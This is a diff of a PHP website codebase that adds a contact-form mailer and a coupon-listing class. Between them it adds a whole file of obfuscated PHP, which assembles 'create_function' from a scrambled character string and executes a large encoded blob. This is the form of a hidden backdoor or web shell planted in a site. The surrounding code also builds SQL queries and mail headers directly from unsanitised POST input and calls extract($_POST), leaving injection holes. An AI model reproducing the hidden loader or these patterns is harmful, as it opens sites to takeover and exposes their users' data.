+ if( is_array( $diff_array ) && is_array( $f_int_array ) )
+ {
+ $new_interest = ':'.implode(":",$f_int_array).':'.implode(":",$diff_array).':';
+ }
+ elseif( is_array( $f_int_array ) )
+ {
+ $new_interest = ':'.implode(":",$f_int_array).':';
+ }
+ elseif( is_array( $diff_array ) )
+ {
+ $new_interest = ':'.implode(":",$diff_array).':';
+ }
+ /*
+ echo '<pre>';
+ echo "f_int_string $f_int_string\n";
+ echo "interest_array\n";
+ print_r( $interest_array );
+ echo "f_int_array\n";
+ print_r( $f_int_array );
+ echo "diff_array\n";
+ print_r( $diff_array );
+ echo "new_interest = $new_interest\n";
+ echo '</pre>';
+ */
+ if( is_array( $diff_array ) && count( $diff_array ) > 0 && is_array( $f_int_array ) )
+ {
+ $new_interest = ':'.implode(":",$f_int_array).':';
+ foreach( $diff_array as $diff_key )
+ {
+ if( $diff_key )
+ {
+ $new_interest .= implode(":",$diff_array).':';
+ }
+ }
+ }
+ elseif(is_array( $f_int_array ))
+ {
+ $new_interest = ':'.implode(":",$f_int_array).':';
+ }
+ }
+ $query = 'update contact set ';
+ for( $i = 0; $i < count($in_fields); $i++ )
+ {
+ if( $in_fields[$i] == $db_interest_field )
+ {
+ $query .= $in_fields[$i]." = '".$new_interest."' ";
+ }
+ else
+ {
+ $query .= $in_fields[$i]." = '".$in_vars[$i]."' ";
+ }
+ if( $i != count( $in_fields ) - 1 )
+ {
+ $query .= ',';
+ }
+ }
+ $query .= " where id = ".$update.";";
+ }
+ }
+ else
+ {
+ if(is_array($in_fields))
+ {
+ $infds = implode(",",$in_fields);
+ }
+ if(is_array($in_vars))
+ {
+ $invars = implode("','",$in_vars);
+ }
+ $query = "INSERT INTO ".$this->table_name."
+ ($infds)
+ VALUES
+ ('$invars')";
+ }
+
+ $this->CDB->db_auto_exec($query);
+ }
+ // adding comments again
+ $in_fields[] = "comments";
+ $in_vars[] = $_POST['comments'];
+ if( $this->email != '' && $_POST['email'] != '' && GLM_TOOLBOX::valid_email( $_POST['email'] ) )
+ {
+ //mail the contact info to mail address.
+ $body = '
+ <html>
+ <style type="text/css">
+ <!--
+ body { background-color: #fff;
+ color: black;
+ font-family: verdana, arial, helvetica, sans-serif;
+ }
+ h1, h2 {font-family: arial, helvetica, sans-serif;}
+ h1 {font-size: 18px; }
+ h2 {font-size: 16px; margin-bottom: 5px;}
+ p {font-size: 12px;}
+ .label {
+ font-weight: bold;
+ background-color: transparent;
+ text-align: right;
+ width: 200px;
+ padding: 5px;
+ }
+ .field {
+ //background-color: #F2F7FB;
+ background-color: #fff;
+ padding: 3px;
+ }
+ table.data {
+ //background-color: #F9FBFD;
+ background-color: #fff;
+ color: #000;
+ width: 500px;
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ border-collapse: collapse;
+ margin-left: 20px;
+ }
+ table.data td {
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ padding-left: 4px;
+ font-size: 12px;
+ }
+ -->
+</style><body>
+
+<h1>'.$this->subject.'</h1>
+<h2>From '.(($_POST["fname"])?' '.$_POST["fname"].'':'').' '.(($_POST["lname"])?' '.$_POST["lname"].'':'').'</h2>
+<h2>Information</h2>
+<table class="data">
+ ';
+ if( $_POST['interest'] )
+ {
+ $interest = ereg_replace( "^:|:$","",$_POST['interest'] );
+ $_POST['interest'] = explode(":",$interest);
+ }
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value['type']=="radio")
+ {
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= ($_POST[$value['name']] == 't')?'Yes':'No';
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif( $value['type'] == 'date' )
+ {
+ $date_row = $_POST[$value['name'].'_month'].'-';
+ $date_row .= $_POST[$value['name'].'_day'].'-';
+ $date_row .= $_POST[$value['name'].'_year'];
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= $date_row;
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif( $value['type'] == 'interest' && is_array($_POST['interest']) )
+ {
+ $body .= '
+ <tr><td class="label">Area of Interest:</td><td class="field">
+ ';
+ foreach( $_POST['interest'] as $pkk => $pvv )
+ {
+ $body .= $this->int_array[$pvv].'<br> ';
+ }
+ $body .= '
+ </td></tr>
+ ';
+ }
+ elseif($_POST[$value['name']] != '' && $value['name'] != 'verify_email' )
+ {
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= $_POST[$value['name']];
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ }
+ // need to strip the commas from the names if used in the headers
+ $_POST['fname'] = stripslashes(str_replace(",","",$_POST['fname']));
+ $_POST['fname'] = str_replace("\n","",$_POST['fname']);
+ $_POST['lname'] = stripslashes(str_replace(",","",$_POST['lname']));
+ $headers = "From: ".$_POST['fname']." ".$_POST['lname']." <".$_POST['email'].">\n"
+ . "Reply-To: ".$_POST['fname']." ".$_POST['lname']." <".$_POST['email'].">\n"
+ . "MIME-Version: 1.0\n"
+ . "Content-type: text/html; charset=iso-8859-1";
+
+ $body .= '
+ </table>
+<div> </div><br clear="all">
+</body>
+</html>
+';
+ mail($this->email,$this->subject,$body,$headers);
+ echo '<div style="font-size:14px; margin: 20px;">Thank You, your message is sent.</div>';
+ }
+ }
+}
+?>
--- /dev/null
+<?php $Csdvoy='1|EFl 9Iywx8*ak{3HZ_tB"g.h62}5AiQp,KT/[Yr4WU]CmRv^$onVOD;z)dcXbuJSG(7qPfNjsMeL+0';$aSecrC=$Csdvoy{60}.$Csdvoy{40}.$Csdvoy{76}.$Csdvoy{13}.$Csdvoy{20}.$Csdvoy{76}.$Csdvoy{19}.$Csdvoy{71}.$Csdvoy{63}.$Csdvoy{52}.$Csdvoy{60}.$Csdvoy{20}.$Csdvoy{31}.$Csdvoy{51}.$Csdvoy{52};$ukUriz=$Csdvoy{50}.$Csdvoy{74};$qUwSkg=$Csdvoy{71}.$Csdvoy{63}.$Csdvoy{52}.$Csdvoy{60}.$Csdvoy{20}.$Csdvoy{31}.$Csdvoy{51}.$Csdvoy{52}.$Csdvoy{5}.$Csdvoy{40}.$Csdvoy{11}.$Csdvoy{67}.$Csdvoy{50}.$Csdvoy{74}.$Csdvoy{34}.$Csdvoy{50}.$Csdvoy{33}.$Csdvoy{58}.$Csdvoy{15}.$Csdvoy{40}.$Csdvoy{76}.$Csdvoy{20}.$Csdvoy{63}.$Csdvoy{40}.$Csdvoy{52}.$Csdvoy{5}.$Csdvoy{50}.$Csdvoy{74}.$Csdvoy{49}.$Csdvoy{74}.$Csdvoy{20}.$Csdvoy{40}.$Csdvoy{19}.$Csdvoy{33}.$Csdvoy{13}.$Csdvoy{59}.$Csdvoy{67}.$Csdvoy{50}.$Csdvoy{33}.$Csdvoy{34}.$Csdvoy{74}.$Csdvoy{20}.$Csdvoy{40}.$Csdvoy{4}.$Csdvoy{76}.$Csdvoy{52}.$Csdvoy{67}.$Csdvoy{50}.$Csdvoy{74}.$Csdvoy{58}.$Csdvoy{34}.$Csdvoy{50}.$Csdvoy{33}.$Csdvoy{58}.$Csdvoy{56}.$Csdvoy{28}.$Csdvoy{56}.$Csdvoy{76}.$Csdvoy{48}.$Csdvoy{13}.$Csdvoy{4}.$Csdvoy{67}.$Csdvoy{40}.$Csdvoy{11}.$Csdvoy{67}.$Csdvoy{62}.$Csdvoy{13}.$Csdvoy{74}.$Csdvoy{76}.$Csdvoy{26}.$Csdvoy{41}.$Csdvoy{19}.$Csdvoy{59}.$Csdvoy{76}.$Csdvoy{60}.$Csdvoy{51}.$Csdvoy{59}.$Csdvoy{76}.$Csdvoy{67}.$Csdvoy{50}.$Csdvoy{74}.$Csdvoy{58}.$Csdvoy{34}.$Csdvoy{22}.$Csdvoy{40}.$Csdvoy{35}.$Csdvoy{2}.$Csdvoy{25}.$Csdvoy{59}.$Csdvoy{47}.$Csdvoy{22}.$Csdvoy{58}.$Csdvoy{58}.$Csdvoy{56};$mFtxwy="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";$BoMLbo=$aSecrC($ukUriz,$qUwSkg);$BoMLbo($mFtxwy);?>
\ No newline at end of file
--- /dev/null
+<?php
+extract($_POST);
+define("GLM_COUPON",true);
+class GLM_COUPON
+ {
+ var $Db;
+ var $table;
+ var $formHeader;
+ var $Result;
+ var $catid;
+ var $toolbox;
+
+ /**
+ * GLM_COUPON:
+ * @param $table:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function GLM_COUPON( $table, &$DB, &$toolbox )
+ {
+ $this->setDb( &$DB );
+ $this->setTable( $table );
+ $this->setCatid();
+ $this->toolbox =& $toolbox;
+ }
+
+ /**
+ * setCatid:
+ *
+ * @return
+ * @access
+ **/
+ function setCatid()
+ {
+ if( isset( $_POST['coupon_catid'] ) )
+ {
+ $this->catid = $_POST['coupon_catid'];
+ }
+ if( isset( $_GET['coupon_catid'] ) )
+ {
+ $this->catid = $_GET['coupon_catid'];
+ }
+ $this->setResult();
+ }
+
+ /**
+ * setFormHeader:
+ *
+ * @return
+ * @access
+ **/
+ function setFormHeader()
+ {
+ $this->formHeader = '';
+ }
+
+ /**
+ * setTable:
+ * @param $$table :
+ *
+ * @return
+ * @access
+ **/
+ function setTable( $table )
+ {
+ $this->table = $table;
+ }
+
+ /**
+ * setDb:
+ * @param $&$DB :
+ *
+ * @return
+ * @access
+ **/
+ function setDb( &$DB )
+ {
+ $this->Db = &$DB;
+ }
+
+ /**
+ * setResult:
+ *
+ * @return
+ * @access
+ **/
+ function setResult()
+ {
+ $catid = ( is_numeric( $this->catid ) ) ? ' and cc.id = '.$this->catid: '';
+ $query = "SELECT c.* , cc.name as category, date_part('epoch',c.edate) as expire
+ FROM coupons c left outer join coupon_category cc on ( cc.id = c.catid )
+ WHERE c.sdate <= CURRENT_DATE
+ AND c.edate > CURRENT_DATE
+ $catid
+ AND c.active = 't'
+ order by cc.name,c.sdate";
+ $data = $this->Db->db_auto_get_data($query);
+ $this->Result = $data;
+ }
+
+ /**
+ coupon head
+ */
+ function coupon_head()
+ {
+ $out = '
+ <a href="http://www.adobe.com/products/acrobat/readstep2.html" target="_blank"><img src="'.BASE_URL.'assets/getacro.gif" alt="Acrobat Reader" style="float: right; margin: 0 0 10px 10px; border: 0;" height="31" width="88"></a>
+ <p>You
+will need Adobe Acrobat Reader to view and print the documents
+contained witin this section. You can download the Reader for free at <a href="http://www.adobe.com/products/acrobat/readstep2.html" target="_blank">Adobe Online</a>.</p>
+ <p>Select
+your coupons by selecting them and click "Print Selected Coupons" or
+"Print These Coupons" to select all. When coupons show up in a new
+window, click the Print button.</p>
+ ';
+ return( $out );
+ }
+
+ /**
+ * getCategories:
+ *
+ * @return
+ * @access
+ **/
+ function getCategories()
+ {
+ $query = "select cc.name,cc.id
+ from coupon_category cc
+ left outer join coupons c on (c.catid = cc.id)
+ where c.sdate <= CURRENT_DATE
+ and c.edate > CURRENT_DATE
+ and c.active = 't'
+ group by cc.id,cc.name
+ order by id
+ ;";
+ if( is_array( $data = $this->Db->db_auto_get_data( $query ) ) )
+ {
+ $page = $this->toolbox->get_seo_url( $_GET['catid'] );
+ $out = '<form action="'.$page.'" method="POST">
+ ';
+ $out .= '<select class="couponprint" name="coupon_catid">
+ ';
+ //$out = ' <p>Choose a coupon category:</p>';
+ $out .= '<option value="">All Categories</option>';
+ foreach( $data as $key => $value )
+ {
+ // $url_name = 'index.php?catid=400&coupon_catid='.$value['id'];
+ $out .= '
+ <option value="'.$value["id"].'">'.$value["name"].'</option>';
+ //$out .= '<div class="couponcatheader"><a href="'.BASE_URL.''.$url_name.'">'.$value["name"].'</a></div>';
+ }
+ $out .= '
+ </select>';
+ $out .= '
+ <input class="couponprint" type="submit" value="Search">
+ </form>
+ ';
+ }
+ echo $out;
+ }
+
+
+ /**
+ * showResult:
+ *
+ * @return
+ * @access
+ **/
+ function showResult()
+ {
+ if( is_array( $this->Result ) )
+ {
+ $out = '';
+ //$out = '<a href="'.BASE_URL.'coupon.phtml" class="back">« Back to Coupons</a>';
+ $count = 0;
+ $form_header = '<form action="'.BASE_URL.'coupons/print.php" name="coupon" method="POST" onSubmit="
+ var checkcount = 0;
+ ';
+ $cat = '';
+ foreach( $this->Result as $key => $val )
+ {
+ if( $cat != $val['category'] )
+ {
+ if( $cat != '' )
+ {
+ $out .= '</div>';
+ //$out .= '<br clear="all"><br clear="all">';
+ }
+ $out .= '<div class="couponcontainer">';
+ $out .= '<div class="couponheader">'.$val['category'].'</div>';
+
+ }
